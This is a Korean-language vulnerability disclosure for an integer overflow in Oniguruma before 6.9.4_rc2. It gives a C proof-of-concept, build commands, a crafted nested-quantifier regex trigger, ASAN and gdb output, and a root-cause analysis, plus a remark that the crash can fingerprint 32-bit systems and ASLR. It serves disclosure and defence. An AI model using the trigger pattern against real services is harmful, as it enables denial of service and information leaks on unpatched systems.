
6.9.4_rc2 이전의 Oniguruma 6.x에서 regexec.c의 search_in_range 함수에 존재하는 정수 오버플로는 경계를 벗어난 읽기(out-of-bounds read)로 이어집니다.
Oniguruma 6.x, 6.9.4_rc2 이전 버전에서 regexec.c의 search_in_range 함수에 발생한 정수 오버플로우로 인해 out-of-bounds 읽기가 발생하며, 이 읽기의 오프셋은 공격자가 제어할 수 있습니다. (32비트 컴파일 버전에만 영향이 있습니다.) 원격 공격자는 조작된 정규 표현식을 통해 서비스 거부(denial-of-service) 또는 정보 노출(information disclosure)을 유발하거나, 잠재적으로 기타 영향을 일으킬 수 있습니다.
연구자: The Tarantula Team, VinCSS(빈그룹 계열사) 소속 ManhND
Oniguruma는 K. Kosako가 만든 BSD 라이선스 정규 표현식 라이브러리로, 다양한 문자 인코딩을 지원합니다. Ruby 프로그래밍 언어 1.9 버전과 PHP의 멀티바이트 문자열 모듈(PHP5부터)은 Oniguruma를 정규 표현식 엔진으로 사용합니다. 또한 Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text, SubEthaEdit 같은 제품에서도 사용됩니다.
다음은 C로 작성된 PoC입니다. 첫 번째 인자로 패턴을, 두 번째 인자로 매칭할 문자열을 받습니다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = argv[1];
char *pattern_end = pattern + strlen(pattern);
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
char* str = argv[2];
char* str_end = str+strlen(str);
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
Oniguruma와 PoC를 32비트로 컴파일합니다:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC
버그를 트리거하려면 문자열 "x"와 "x{a}{b}0" 형식의 패턴을 제공하세요. 여기서 a와 b는 100000보다 작아야 합니다. 예를 들면:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
#0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
#1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
#2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
#3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
#4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
#5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
#6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x8048b00 (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#
참조 소스 코드 버전: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4
근본 원인은 regex.c:5365 라인에서 발생하는 정수 오버플로우입니다:
5360 sch_range = (UChar* )range;
5361 if (reg->dmax != 0) {
5362 if (reg->dmax == INFINITE_LEN)
5363 sch_range = (UChar* )end;
5364 else {
5365 sch_range += reg->dmax; //// => overflow
5366 if (sch_range > end) sch_range = (UChar* )end;
5367 }
5368 }
reg->dmax가 충분히 큰 값을 가질 때 정수 오버플로우가 발생합니다. reg->dmax는 "x{<number>}y" 패턴에서 <number>와 같은 거리로 보입니다. 여기서 x는 임의의 문자, y는 숫자여야 합니다. 예를 들어 패턴 "a{1000}5"를 제공하면 reg->dmax = 1000입니다. "./PoC a{1000}5 b"를 실행한 다음 gdb 로그를 참조하세요:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0",
exact_end = 0xf6500431 "",
map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>,
map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)
"x{<number>}y" 형식의 패턴에서 dmax는 최대 100000 값을 가집니다. 반복 횟수는 100000(ONIG_MAX_REPEAT_NUM)보다 클 수 없기 때문입니다. 그러나 "x{<number1>}{<number2>}y" 형식의 패턴을 제공하면 reg->dmax = number1 * number2가 됩니다. 이 곱셈은 다음 코드(regcomp.c:6157)에서 수행됩니다:
6156 else {
6157 max = distance_multiply(xo.len.max, qn->upper); //// => multiply into dmax
6158 }
"./PoC a{1000}{2}5 b"를 실행한 다음 gdb 로그를 참조하세요:
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5",
exact_end = 0xf6500431 "",
map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>,
map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)
게다가 반복 횟수는 원하는 만큼 중첩할 수 있습니다:
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk
따라서 dmax(부호 없는 정수)는 [0, 0xffffffff) 범위의 어떤 값이든 될 수 있으며, sch_range += reg->dmax; 에서 정수 오버플로우가 확실히 발생할 수 있습니다. reg->dmin에도 동일하게 적용됩니다. 그러나 이 정수 오버플로우는 32비트 버전에서만 발생합니다. 64비트 버전에서는 sch_range가 64비트 포인터이고 dmax는 여전히 부호 없는 정수이므로 정수 오버플로우가 발생할 수 없습니다.
위 PoC는 sunday_quick_search에서 정수 오버플로우가 잘못된 메모리 주소 역참조로 이어지기 때문에 크래시가 발생합니다:
while (s < end) {
p = s;
t = tail;
while (*p == *t) { // => p points to invalid address
if (t == target) return (UChar* )p;
p--; t--;
}
if (s + map_offset >= text_end) break;
s += reg->map[*(s + map_offset)];
}
ASLR이 활성화되어 있고 적절한 패턴을 제공하면, ASLR은 역참조된 주소에 유효한 페이지를 매핑하기도 하고 매핑하지 않기도 하므로 PoC는 때때로 크래시가 발생하고 때때로 발생하지 않습니다. 따라서 이 PoC는 대상 시스템이 32비트인지 64비트인지 감지하는 데 사용할 수 있습니다. 그리고 32비트라면 ASLR이 활성화되었는지도 감지할 수 있습니다.